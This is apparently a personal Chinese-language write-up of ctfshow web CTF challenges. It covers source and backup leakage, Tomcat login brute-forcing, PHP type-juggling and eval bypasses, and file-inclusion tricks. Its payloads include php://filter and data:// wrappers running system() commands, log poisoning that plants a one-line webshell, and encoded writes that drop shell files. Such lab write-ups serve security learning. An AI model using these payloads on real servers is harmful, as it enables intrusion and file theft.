web入门
一、信息收集
web1
f12查看源码
web2
题目提示我们:js前台拦截 === 无效操作,这种情况下多半是利用率JavaScript函数禁用了部分查看源码的方式,这里依旧直接view-source:
即可绕过JavaScript前台拦截查看源码
view-source
是一种协议,在浏览器上直接查看网站源码。
解题思路:右键以及F12被禁用的情况下,可以在url头部加上***view-source:***查看网页源码。
web3(协议头信息泄露)
访问index.php也没有反应
看到提示说抓包
这就尝试抓包
ctfshow{00940219-dee4-4a30-b8b4-5deee1dcf1e3}
go一下就得到flag
web4(robots后台泄露)
解法:
访问robots.txt,得到flagishere.txt信息,访问即可
web5(phps源码泄露)
phps源码泄露
什么是phps文件?
phps文件类型主要由php组与php源关联。通常,php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本,而不是通常生成的HTML。并非所有服务器都是这样配置的。
也就是说,通过phps可以看到php代码未被解析的源代码
所以
拿到flag
index.phps是由于非正常关闭而产生的一个隐藏文件
web6 (源码压缩包泄露)
题目提示:解压源代码到当前目录,一开始没有明白啥意思,抓包扫后台一通操作后没有啥结果,查了一下,才发现意思是说可能含有网站备份源码在当前目录下,测试一下/WWW.zip /www.zip(之前做buuctf的时候有一道反序列化题是网站备份WWW.zip),发现是/www.zip,直接下载压缩包解压即可
![](https://i-blog.csdnimg.cn/blog_migrate/bdea2388d879893aedcd3d6df8c3c9f4.png)
拿到flag,才怪
是个假flag
源码有提示flag在这个文件但是实际上并没有,所以尝试着去网站访问
算是一个小经验吧,如果txt拿到是一个假flag,那么可以尝试在网页去访问一下这个文件
讲解视频:
web入门-web5-6 源码泄露_哔哩哔哩_bilibili
其他常见的打包文件的文件
web7&8(版本控制泄露源码)
.git(多人协作版本控制系统)文件夹包含项目在版本控制中所需的所有信息以及有关提交,远程存储库地址等的所有信息.所有这些信息都存在于此文件夹中.它还包含一个存储您的提交历史记录的日志,以便您可以回滚到历史记录.
以“.”开头的文件在linxu下属于隐藏文件,在终端操作的时候可能会由于忽略了这个文件,错误地将其部署到网站的更目录上造成网站信息的泄露。
即可得到flag
Git是一个开源的分布式版本控制系统
git代码泄露,git上传代码会在目录创建隐藏文件夹.git
访问/.git/得flag
SVN是subversion的缩写,是一个开放源代码的版本控制系统
访问/.svn/得flag
一般版本控制泄露源码的题目就是这两种啦
web9 vim 临时文件泄露
题目描述: 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
swp文件介绍
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。
所以hint的意思就是打开index.php.swp
打开文件,得到 flag 。
爆破
web21
hint这里提示了这道题目是一道 tomcat认证爆破
那么,首先,什么是tomcat呢
tomcat是一个免费的,开放源代码的Web应用服务器,是Apache软件基金会项目中的一个核心项目,由Apache ,Sun和一些公司以及个人共同开发而成,深受Java爱好者的喜爱,是一款比较流行的web应用服务器。
tomcat如果开放后台登录地址,管理人员未设置访问权限可以利用口令爆破登录管理地址。
这个就是解题的关键!我们可以用爆破来得到账号密码从而登录。
我的参考:
CTFShow Web入门_爆破_F4tty的博客-CSDN博客_ctfshow web
tomcat 认证爆破之custom iterator使用 - 007NBqaq - 博客园
尝试抓包
发现有base64编码
decode之后发现是11:11
也就是说用户名与密码之间的格式是
用户名:密码
以base64的形式传输
send to intruder
自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的tomcat密码的格式:用户名:密码 ----->则position的位数为3
之后的具体内容就看博客就好
这里有几个注意点:
·导入字典的时候记得解压缩,不然可能会出现乱码
·由于结果会被base64编码,所以我们也需要把攻击的密码进行编码
关闭url编码(有了base64编码就不要再来一个编码了)
一般长度不同的比较可以,
可以尝试点开,然后send to repeter
go一下
拿到flag,也可以
把得到的base64编码解码
这个在网页输入框输入照样也可以得到flag
PHP特性
web89(数组绕过)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
get传参得到变量num
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
又要是整数,又不能匹配到0-9任何一个数字
解答:
1)绕过preg_match()。
可以利用数组绕过,因为preg_match只能处理字符串,所以当传入的subject是数组时会返回false。
2)intval()用于获取变量的整数值。
intval()不能用于object和array,否则会产生E_NOTICE错误并返回1。
所以数组可以满足所有限制条件。
payload:?num[]=1
web90(进制转换)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
又是这个函数,
intval($num,0)===4476
返回变量 var 的 integer 数值
那就是说,我输入的num不可以有4476但是你integer出来的结果又必须是int型
所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
payload:
?num=0×117c //十六进制
?num=010574 //八进制
或者
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
?num=4476a //字符串
web91(换行绕过)
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //不区分大小写多行匹配
if(preg_match('/^php$/i', $a)){ //职匹配一行
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
观察正则表达式
- 第一个:
'/^php$/im'
,$匹配输入字符串的结尾位置,匹配php且后面的修饰符有个m,表示多行匹配 - 第二个:
'/^php$/i'
相比下没有了多行匹配
CTFshow php特性 web91_Kradress的博客-CSDN博客
这位师傅写的就很不错!
可以在hackbar里面url编码换行符,编码完是%0a
payload:?cmd=php%0a1111
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
PHP的强比较与弱比较
PHP intval() 函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )
重点是intval的第二个参数base,base=0时,intval会自动探测num的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
采用16进制绕过
八进制绕过
拿到flag
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这道题相比于上一道多了一个条件
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
加了个正则匹配,不能出现字母,使用8进制绕过即可
拿到flag
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
相关函数:
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
这道题相对于上一道又多了一个条件,就是要匹配到有0
时刻要注意num是个字符串,只要在4476后面用字符截断,即可绕过弱类型比较。关键是多了个strpos,这个函数的位置很巧妙,它要求num中必须有0,但还不能在开头,所以传入一个浮点数:
如果开头出现了0,返回的会是0!
而且
if($num==="4476"){
die("no no no!");
这个是强比较类型,4476.0和字符型4476无法匹配,所以可以绕过第一个。
web95(空格\回车+八进制绕过)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){ //i是不区分大小写的意思
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
和web94相比,去屑在与第一个条件判断从“===”变为“==”,而且不可以有小数点
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
intval,php函数。intval() 函数用于获取变量的整数值。变量不能是array和object格式 int intval ( mixed var , int [base] )第二个参数只有变量是字符串的时候才有用,var 可以是任何标量类型。intval() 不能用于 array 或 object。base 是 0,通过检测 var 的格式来决定使用的进制
!!!因为==号只能判断数字是否相等,不能进行进制转换
第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制(十六进制是0x开头有字母)
payload:
?num= 010574 //注意开头的空格
?num=%0a010574(&0a换行符绕过,pregmatch会解析PHP,这个时候%0a是一个整体)
?num=%20010574(%20是空格的URL编码)
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)
intval 会对以+或空格开头数字当作正数处理
web96(相对路径绕过)
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
很明显不可以
新知识get!
在linux下面表示当前目录是 ./
所以尝试用相对目录:
payload:
?u=./flag.php
payload:?u=php://filter/convert.base64-encode/resource=flag.php
?u=php://filter/resource=flag.php
//或者利用伪协议和编码
不过base64得出来的结果需要解码
web97(md5强类型绕过)
参考博客:
MD5加密漏洞(MD5绕过方式-0e绕过/数组绕过/MD5碰撞/MD5SQL注入)_士别三日wyx的博客-CSDN博客_md5漏洞
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
·用post的方法获得参数a和b
·a与b不相等,但是a与bmd5的值相等
强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行
但是我们可以用MD值完全相同的字符来进行绕过
所以没有办法用0e开头的字符串
那就是数组绕过
比如将两个数组的md5值进行比较
md5(a[]=1) === md5(b[]=1)
由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样
null === null
结果返回true,也就是说数组的md5值进行比较时,结果相等
payload:
a[]=1&b[]=2
注意啦,一个“&”就够啦
web98(三目运算符的理解+变量覆盖)
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
//如果有GET方法传参,就将$_POST变量的地址赋值给$_GET;用post覆盖get中的值;第一个说只要有GET传参就指向POST,所以随便传个啥都行,重要的是post的内容
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
//中间两行不重要,因为get传入的内容并不是很重要
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
//意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面;但是get传入的东西最终会被post覆盖,所以;只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
?>
三目运算符的特点;
传地址“&”
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
payload:
即可拿到flagweb116
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
首先来理解一下代码的意思叭
·array() 函数用于创建数组
十六进制0x36d转为十进制是877 (13+6*16+3*256)
·array_push() 将一个或多个单元压入数组的末尾(入栈)
·rand(min,max)在最大和最小值之间产生一个随机数
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}这一部分的意思就是:创建一个数组allow,做877-36次循环,每次循环做的事从(1~i)之间产生一个随机数放到数组allow中
in_array (needle,haystack,strict) 检查数组中是否存在某个值
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
用get的方式获得参数“n”,用post的方式获得参数“content”,传入的n必须要是数组allow中的一个数值
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
题目解读:(巴拉巴拉:短短的一道题考的内容还真不少)
1、
2、eval() 函数把字符串按照 PHP 代码来计算。(注意:要执行的php代码无需加<? php ?>)
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
注释:return 语句会立即终止对字符串的计算。
·用get方式得到v1,v2,v3;其中v2不可以有“;”,语句三必须要有“;”
·执行语句$v2('ctfshow')$v3
3、!!!知识点:php中要输出类是没有办法直接echo的,需要用到
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
4、逻辑运算符与算术运算符的优先级
PHP中and、&&、or、||与=的优先级区别
优先级:
&& > || > = > and > or
<?php $test1 = true && false; $test2 = true and false; $test3 = true || false; $test4 = true or false; var_dump($test1); var_dump($test2); var_dump($test3); var_dump($test4); ?> //结果:bool(false) bool(true) bool(true) bool(true)
因为运算符的优先级为&&>||>=>and>or
所以在执行第二行时,会先将true赋值给$test2,再与false进行and运算。
而第一行代码会先进行&&运算,然后将运算的结果false,赋值给$test1。
同理:第四行会先将true赋值给$test4,然后再与false进行or运算;
而第三行会先进行||运算,然后将运算的结果true赋值给$test3.
在这道题里的运用体现为:
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
由于先赋值再and运算,所以只要保证$v1是字符或者数字即可
flag在ctfshow类里面,应该是里面定义过的变量,想办法打印里面的变量就好了
解法1:
所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号
?v1=1&v2=system('tac ctfshow.php')&v3=;
第一个payload是这样子的,但是我觉得有点怪怪
本地测试,这个命令传入之后是这样子的,难道(‘ctfshow’)不会引起报错吗???
?v1=1&v2=system('tac ctfshow.php')/*&v3=*/;
我个人不是很理解,所以加了注释符号得出来的结果也是没问题的
测试之后发现,不加注释符会报错但是能执行,问题不大
最好还是加上,就是只要有完整的命令,后面的语句报错也是可以执行的;也正因为如此,php漏洞才多
解法2:
这道题其实是考察反射类ReflectionClass,可以看官方的例子了解一下
反射类其实也就是对类的映射
ReflectionClass::getProperties()函数是PHP中的内置函数,用于返回反射属性的数组。
用法:
ReflectionClass::getProperties($filter) : array
参数:此函数接受一个参数过滤器,该过滤器有助于除去某些反射的属性。
返回值:此函数返回反映的属性的数组。
然后输出这个类即可,也就是构造出echo new ReflectionClass('ctfshow');
大概就是这道题真正想考的考点:输出类
payload:?v1=1&v2=echo new ReflectionClass&v3=;
传入后的指令为:
得到flag
借鉴:
反射类的学习
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
————————————————
版权声明:本文为CSDN博主「_Monica_」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_46918279/article/details/120667769
解法3:
也就是一般的对类的输出var_dump() 函数
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
最后,这道题还有一个坑解释0x2d要转成“-”
$flag_is_614906510x2d0f7c0x2d44330x2db6be0x2dd09c4a8240cd;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
和上一道题一样,考点都是反射类;但是不同点在于这道题过滤了很多东西
首先明确$v1是数字,在发现过滤了那么多字符之后可以确定,这道题应该就只能用反射类的解法啦;
payload:
/?v1=1&v2=echo new ReflectionClass&v3=;
web102
这道题有点意思,也需要一些脑洞
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
用post方式传入参数v1,用get方式传入参数v2,v3,而且v2与v3都必须是数字或数字字符串(也就是只能含有数字,或者字符串型的数字)
v4=v2 and v3
接下来是各个函数的作用:
substr() 返回字符串的子串
·substr(string,start,length);·length参数:
可选。规定要返回的字符串长度。默认是直到字符串的结尾。
- 正数 - 从 start 参数所在的位置返回
- 负数 - 从字符串末端返回
call_user_func() 第一个参数 callback 是被调用的回调函数名,其余参数是回调函数的参数
file_put_contents() 将数据写入文件,这个数据可以是一个数据流
hex2bin 转换十六进制字符串为二进制字符串(即ascii码)
is_numeric() 函数用于检测变量是否为数字或数字字符串。
数字字符是字符类型,是按照字符串的处理方式处理字符,是占位符为%c,那也就是包括了ASCII码里的内容
结合函数分析可以得出:
$s = substr($v2,2);
$str = call_user_func($v1,$s);
//将字符串$s调入函数v1中
file_put_contents($v3,$str);
$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名
首先我们看到file_put_contents函数要条件反射
1.它可以配合伪协议
file_put_contents()
//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去
file_put_contents($_POST['filename'], "<?php system($_GET['c']);?>");
v3得是一个文件,写入一些命令执行的东西,那我们可以通过伪协议直接生成文件
文件内容不好控制,但是可以利用伪协议将内容进行编码转换。所以如果能找到一条php语句经过base64编码,在转换为16进制之后如果全部都是数字不就可以通过了吗?
参考博客:
CTFSHOW-PHP特性__Monica_的博客-CSDN博客_ctfshowphp特性
payload:
$a='<?=`cat *`;'; //这里虽然``反引号无回显,但是短标签自带echo
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
最终payload:
-
最终payload: GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php POST:v1=hex2bin
(这里会把e当作科学计数法)
这就是为什么v3可以不用时数字的原因,“=”优先级高于“and”但“=”优先级低于“=”
三、文件包含
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
考察php伪协议
php://伪协议:
php://伪协议是PHP提供的一些输 人输出流访问功能,允许访问PHP的输入输出流,标准输人输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写人文件资源的过滤器。
?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s0ZjBjMzJjNi1iY2QxLTQ3NDYtYWUwNi1mMjEyMzc4YjQ1Nzh9Ijs=
解码,拿到flag
$flag="ctfshow{4f0c32c6-bcd1-4746-ae06-f212378b4578}";
web79
下一步再用同样的命令访问flag.php即可
data://伪协议(数据流封装器开始有效,主要用于数据流的读取。如果传人的数据是PHP代码,就会执行任意代码)
使用方法如下:
data://text/plain;base64,XXXXXX(base64编码后的数据)
本题目中要用data://伪协议传送 <?php system(' cat flag. php') ;?>
虽然说是不要闭合,但是貌似闭合了也没关系
还有另一种解法
换data协议,绕过php
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
用这个方法要注意flag要f12查找才能拿到!!!
web80
源码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这个源码过滤了php伪协议和data伪协议
尝试了一下file协议结果不行
于是尝试
【php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。】
传入指令即可
看一下目录
接下来尝试访问fl0g.php
这道题给我一个经验就是,不要觉得没回显显示就觉得不成功,最好是f12查看一下有没有在源码里,因为很可能被注释了
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
在原来的基础上连“:”也过滤了,大部分的协议都是要有“:”的,所以这也暗示我们要用其他方法了;而且因为过滤了“:”所以远程文件包含也用不了啦
这里尝试:包含日志
日志包含漏洞原因:
某php文件存在本地文件包含漏洞,但无法上传文件,利用包含漏洞包含Apache(看服务器是Apache还是nginx)日志文件也可以获取WebShell
注意:需要开启服务器记录日志功能
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
Apache运行后一般默认会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。
原理:当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
当访问一个不存在的资源时,Apache日志同样会记录 例如访问http://127.0.0.1/<?php phpinfo();?>。Apache会记录请求“<?php phpinfo();?>”,并写到access.log文件中,这时候去包含access.log就可以利用包含漏洞
首先,通过User-Agent头部注入命令
然后将日志包含进去,并通过POST参数执行命令:
同时还要post传入一句话木马内容
包含日志
?file=/var/log/nginx/access.log
现在看到目录下有fl0g.php
读取文件post
a=system('cat fl0g.php');
如果回显没什么特点,可以在查看器那里有surprise
查到另一种写法好像比较便捷
就是不利用参数,直接把命令写入一句话木马
补充:
[NSSCTF]上有一道题
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤php,data,data
想了很久,最终还是日志包含
不过,
我看到页面没有回显flag,就以为方法不对
但其实一句话木马注入之后就蚁剑连接即可
web83~86(条件竞争)今晚做
web87(文件写入)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
·用get方式获得文件,用post方式获得内容
·文件名需要url编码
本题同样时过滤了php data : .
由于urldecode函数的存在,可以两次url加密file变量,传入变量后,服务器会自动解码,再进行判断是否存在违规字符,再进行一次urldecode,即绕过过滤
本题需要绕过die函数,不然会提前终止程序
方法一:base64编码
?file=php://filter/write=convert.base64-decode/resource=2.php
写入flag.php的内容是
<?php die('大佬别秀了');?>+$content
我们需要绕过die函数
base64解码时,是4个为一组,flag.php的内容<?php die('大佬别秀了');?>中phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了
所以先补上两个字母eg:aa
content=<?php system('tac f*.php');?>
base64编码
写入的文件内容
<?php die('大佬别秀了');?>
PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
补两个a
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
这样就会使得die函数也被base64编码,无法正常使用
file需要两次url全编码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
(*bp的注意事项,get传参的位置,有post传参如果显示的是get,需要右键修改请求方式
跑了之后没有回显怎么办
试试回到浏览器
访问刚刚传上去的文件2.php
拿到flag
注意content最后的base64编码等号很容易被编码,所以最好还是用bp抓包
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了
php 、~ 、! 、@ 、# 、$、% 、^ 、& 、* 、( 、) 、- 、_ 、+ 、= 、.
发现过滤了好多字符,但所幸“:”“/”没有被过滤,所以协议可以使用
用因为php被过滤了,所以可能读取文件的没办法用,直接执行指令吧
?file=data:text/plain,<?php system('cat flag.php');?>
因为会过滤,所以base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或许是因为等号这里传输一直不成功
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg
只有这个成功了
web116
题目提示LFI:local file include 本地文件包含 +misc
打开后是一段vedio
尝试把vedio下载下来
发现里面藏着一张png图片
拿到源码;
过滤了很多字符,分析可知需要file传参,如果不传参就会播放sp2.mp4的视频。
代码中的file_get_contents()可以直接读取文件。
如果不传参:isset结果为0,执行sp2.mpa
如果传参不为空就正常接收file
网页传参已知不可以,试试抓包
payload:
没有说文件放哪里,所以猜测根目录
?file=flag.php
看到还有另一种方法
因为过滤了很多伪协议
所以用了这个不太常见的协议
补充:
(1)compres.bzip2://
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
compress.bzip2和compress.zlib访问的对象可以是任意后缀的文件。
格式compress.bzip2://相对路径或绝对路径
限制条件:
allow_url_fopen :on/off
allow_url_include:on/off
相对路径/绝对路径
利用姿势:
1.读取文件
2.在使用include、require、include_once、require_once时,可将文件当做php脚本执行(一般配合上传文件getshell)。
(2)compress.zlib://
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
compress.bzip2和compress.zlib访问的对象可以是任意后缀的文件。
格式:compress.zlib://相对路径或绝对路径
限制条件:
allow_url_fopen :on/off
allow_url_include:on/off
相对路径/绝对路径
利用姿势:
1.读取文件
2.在使用include、require、include_once、require_once时,可将文件当做php脚本执行(一般配合上传文件、写日志等方式getshell)。
————————————————
版权声明:本文为CSDN博主「black guest丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u013797594/article/details/118865974
web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
·GET传参file 包含文件
·POST传参contents 写入一句话木马
·过滤了好多啊,加药绕过死亡退出函数
